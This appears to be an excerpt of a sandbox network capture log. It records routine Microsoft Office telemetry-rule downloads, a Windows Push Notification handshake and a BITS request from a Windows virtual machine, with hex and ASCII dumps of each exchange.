22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:36 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:36 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232736Z-16547b76f7fl5zvnhC1DFWtk9g00000003e0000000008pvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 23:27:36 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:36 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232736Z-1866b5c5fbbldb6rhC1DFW4bew000000055g00000000d72d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:36 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:36 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:36 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 22a3ed20-101e-005a-80a7-36882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232736Z-1866b5c5fbbfrdddhC1DFW7e900000000120000000006fsb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:36 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:36 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232736Z-16547b76f7f7zzl8hC1DFWmtag00000003u000000000kmcw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:37 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:36 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232737Z-1866b5c5fbbvz6qbhC1DFWsyms000000049g0000000001rm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:37 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: d8d0956f-c01e-008e-627d-377381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232737Z-164f84587bfbvgrghC1DFWbs7w00000004u000000000spm8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49829	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:37 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 55 6c 41 51 43 58 34 77 77 55 69 7a 54 73 65 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 36 32 39 66 63 33 30 37 63 66 33 65 63 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: UlAQCX4wwUizTseT.1Context: d4629fc307cf3ec6
2024-11-17 23:27:37 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 23:27:37 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 55 6c 41 51 43 58 34 77 77 55 69 7a 54 73 65 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 36 32 39 66 63 33 30 37 63 66 33 65 63 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 61 78 47 5a 30 5a 48 32 69 50 4b 76 74 4c 72 72 51 57 64 53 45 4d 76 73 4e 51 34 78 42 48 4e 34 35 37 46 6e 41 52 34 34 43 2b 74 4e 39 49 44 78 2b 42 4b 4a 37 56 5a 59 74 45 79 34 79 7a 6b 6e 68 36 63 4b 6c 62 49 66 30 2b 52 6e 51 47 69 6e 2f 72 4d 52 6d 4d 55 6b 59 6a 43 69 41 38 64 32 6c 61 79 73 72 43 6f 73 2b 59 7a 41 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: UlAQCX4wwUizTseT.2Context: d4629fc307cf3ec6<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWaxGZ0ZH2iPKvtLrrQWdSEMvsNQ4xBHN457FnAR44C+tN9IDx+BKJ7VZYtEy4yzknh6cKlbIf0+RnQGin/rMRmMUkYjCiA8d2laysrCos+YzA
2024-11-17 23:27:37 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 55 6c 41 51 43 58 34 77 77 55 69 7a 54 73 65 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 34 36 32 39 66 63 33 30 37 63 66 33 65 63 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: UlAQCX4wwUizTseT.3Context: d4629fc307cf3ec6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 23:27:38 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 23:27:38 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 57 41 6d 53 45 64 4c 71 44 45 6d 76 4c 31 6f 4c 72 52 59 50 71 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: WAmSEdLqDEmvL1oLrRYPqA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:37 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:37 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 244cb6a9-901e-0048-0390-38b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232737Z-1866b5c5fbbb286shC1DFWx97800000001eg000000008fem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:37 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:37 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:37 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232737Z-16547b76f7fm8pcwhC1DFWaxcc0000000350000000002pwt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:37 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:37 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: d62d9096-801e-0048-06af-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232737Z-16547b76f7f9s8x7hC1DFWywrg00000004rg00000000emhn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:37 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49830	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:37 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
